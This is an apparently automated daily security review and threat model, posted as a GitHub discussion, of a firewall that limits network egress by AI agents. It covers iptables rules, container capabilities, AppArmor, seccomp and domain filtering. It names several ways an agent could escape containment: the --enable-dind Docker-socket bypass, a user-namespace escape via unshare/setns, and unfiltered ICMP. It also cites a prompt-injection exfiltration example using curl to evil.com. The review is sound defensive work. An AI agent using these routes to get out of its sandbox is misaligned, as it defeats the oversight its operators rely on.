[Security Review] Daily Security Review and Threat Modeling — 2026-04-02 #1602
Replies: 2 comments
-
|
🔮 The ancient spirits stir, and the smoke-test seeker has walked this path.
|
Beta Was this translation helpful? Give feedback.
0 replies
-
|
🔮 The ancient spirits stir in the firewall halls.
|
Beta Was this translation helpful? Give feedback.
0 replies
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Uh oh!
There was an error while loading. Please reload this page.
-
📊 Executive Summary
The
gh-aw-firewallproject implements a sophisticated multi-layered egress control system for AI agents. After systematic analysis of ~5,800 lines of security-critical code across seven core files, the overall security posture is strong with defense-in-depth at the network, container, and application layers. No critical vulnerabilities were identified. Five medium and four low/informational findings are documented below, all with mitigations.Key metrics:
🔍 Findings from Previous Run Context
The prior run (2026-04-01) executed 37 network requests against
api.githubcopilot.comandregistry.npmjs.org— both allowed domains — with 0 blocked requests. No cache-memory artifacts from prior reviews were available, so this review is a fresh full-depth analysis.🛡️ Architecture Security Analysis
Network Security Assessment
Evidence:
Assessment:
sysctl net.ipv6.conf.all.disable_ipv6=1) and handled on the host with ip6tablestcpandudpare dropped insetup-iptables.sh. ICMP (ping, traceroute, ICMP tunnel) packets pass the agent's OUTPUT filter chain and rely solely on the host-level DOCKER-USER catch-all REJECT rule. If host iptables are not applied (e.g., running without root or on an unsupported platform), ICMP egress is unfiltered.Container Security Assessment
Evidence:
Assessment:
no-new-privileges:trueprevents privilege escalation via setuid binariesSYS_CHROOTandSYS_ADMINare granted to the container but dropped byentrypoint.shviacapshbefore user code executes — a well-designed two-phase capability modelNET_ADMINis never granted to the agent container (handled only in the iptables-init init container which usescap_drop: ['ALL']+cap_add: ['NET_ADMIN','NET_RAW'])entrypoint.sh:26-33prevents running as rootapparmor:unconfined) on the agent container — required to allowmount -t procinentrypoint.shfor procfs setup, but this removes the AppArmor layer of mandatory access control entirely for the container's lifetimecap_drop: ['ALL']pattern — drops only seven specific capabilities, leaving Docker's default capability set (CHOWN, DAC_OVERRIDE, SETUID, SETGID, NET_BIND_SERVICE, KILL, FOWNER, FSETID, MKNOD, SETPCAP, NET_BROADCAST) active. The iptables-init and API proxy correctly usecap_drop: ['ALL']unshareandsetnssyscalls are allowed in the seccomp profile — these are namespace manipulation syscalls. On kernels withkernel.unprivileged_userns_clone=1(common default), a process can create a new user+network namespace without capabilities. Mitigated in practice byno-new-privileges:truelimiting what's achievable in the new namespace, but represents residual attack surfaceDomain Validation Assessment
Evidence:
Assessment:
*(match-all),*.*, and other overly broad patterns are rejected*wildcards map to[a-zA-Z0-9.-]*(character class), not.*, and input length is capped at 512 chars before regex matching(redacted)https://`) are correctly parsed and enforcedInput Validation Assessment
Evidence:
Assessment:
execa()is used throughout with argument arrays (not shell strings), eliminating command injection risk^[0-9]+(-[0-9]+)?$before use in iptables rulesnoexec,nosuidtmpfs mount flags172.30.0.10used; DNS resolution not used for Squid address inside containeriptablesCLINET_ADMINnever granted to agent; blocked by capability model--enable-dlp) only covers URL patterns, not request bodies--enable-dindflag exposes Docker socket, allowingdocker run --privilegedunshare(CLONE_NEWUSER|CLONE_NEWNET)no-new-privileges:truelimits utility; complex to exploit--enable-dind+ Docker socket → spawn new container on host network🎯 Attack Surface Map
--allow-domainsCLI inputsrc/cli.ts:1303--enable-dindflagsrc/cli.ts:1334--allow-host-service-portssrc/cli.ts:1326src/docker-manager.ts:469setup-iptables.shsetup-iptables.sh:420-427src/docker-manager.ts:1083-1133src/docker-manager.ts:988src/dlp.ts--enable-dlp; URL-only/host/proc)containers/agent/entrypoint.sh:414seccomp-profile.json:340,276📋 Evidence Collection
ICMP Gap — setup-iptables.sh final DROP rules (lines 418-427)
AppArmor disabled — src/docker-manager.ts:1213-1219
Squid cap_drop — src/docker-manager.ts:438-447
Seccomp profile — sensitive syscalls allowed
✅ Recommendations
🔴 High Priority
[H1]
--enable-dindshould enforce audit loggingWhen
--enable-dindis used, the firewall is effectively bypassed. This flag should always emit a prominent warning to stderr AND write a structured audit event. Consider adding a mandatory--enable-dind-reason (string)argument to force intentional documentation.🟡 Medium Priority
[M1] Add explicit ICMP DROP to agent OUTPUT chain
Add an ICMP drop rule before the final tcp/udp drops in
setup-iptables.shto eliminate reliance on host-level rules for ICMP filtering:[M2] Replace AppArmor:unconfined with a targeted custom profile
The only reason AppArmor is disabled is to allow
mount -t proc. A custom AppArmor profile could allow specificallymountwhile retaining all other AppArmor protections. See [man apparmor.d]((manpages.ubuntu.com/redacted)mountrules. Alternatively, explore usingclone+ new mount namespace instead of requiringmountin the container directly.[M3] Harden Squid container with
cap_drop: ['ALL']patternFollow the same pattern used by the iptables-init and API proxy containers:
[M4] Restrict
unshareandsetnsin seccomp profile or via kernel parameterOn the host, set
kernel.unprivileged_userns_clone=0(Debian/Ubuntu) oruser.max_user_namespaces=0to eliminate the user namespace escape vector entirely. Alternatively, add explicit seccompSCMP_ACT_ERRNOentries forunshareandsetns:{ "names": ["unshare", "setns"], "action": "SCMP_ACT_ERRNO", "errnoRet": 1, "comment": "Block namespace manipulation to prevent user namespace escape" }🟢 Low Priority
[L1] Enable DLP by default with a safe-mode opt-out
Credential URL exfiltration is a real threat (prompt injection →
curl (evil.com/redacted) Consider making--enable-dlpthe default with--disable-dlp` as the opt-out flag.[L2] Add real-time log streaming to external audit sink
Squid logs are currently preserved post-run but not streamed in real-time. Adding optional support for
--audit-log-url (endpoint)to stream firewall decisions would support incident response.[L3] Extend DLP to cover request bodies (POST/PUT)
The current DLP implementation (
src/dlp.ts) only scans URL patterns via Squidurl_regexACLs. This misses credentials passed in POST request bodies or JSON payloads. SSL Bump mode enables request body inspection via ICAP oradaptation_accessrules.[L4] Hard CPU limit (
cpus:) in addition to softcpu_sharesThe agent has
mem_limit: '6g'andcpu_shares: 1024(soft). Addingcpus: '2.0'would prevent a CPU-exhaustion attack from consuming all host resources.📈 Security Metrics
Generated by Daily Security Review workflow on 2026-04-02. Analysis covered:
src/host-iptables.ts,src/squid-config.ts,src/domain-patterns.ts,src/docker-manager.ts,containers/agent/setup-iptables.sh,containers/agent/entrypoint.sh,containers/agent/seccomp-profile.json,src/dlp.ts.Beta Was this translation helpful? Give feedback.
All reactions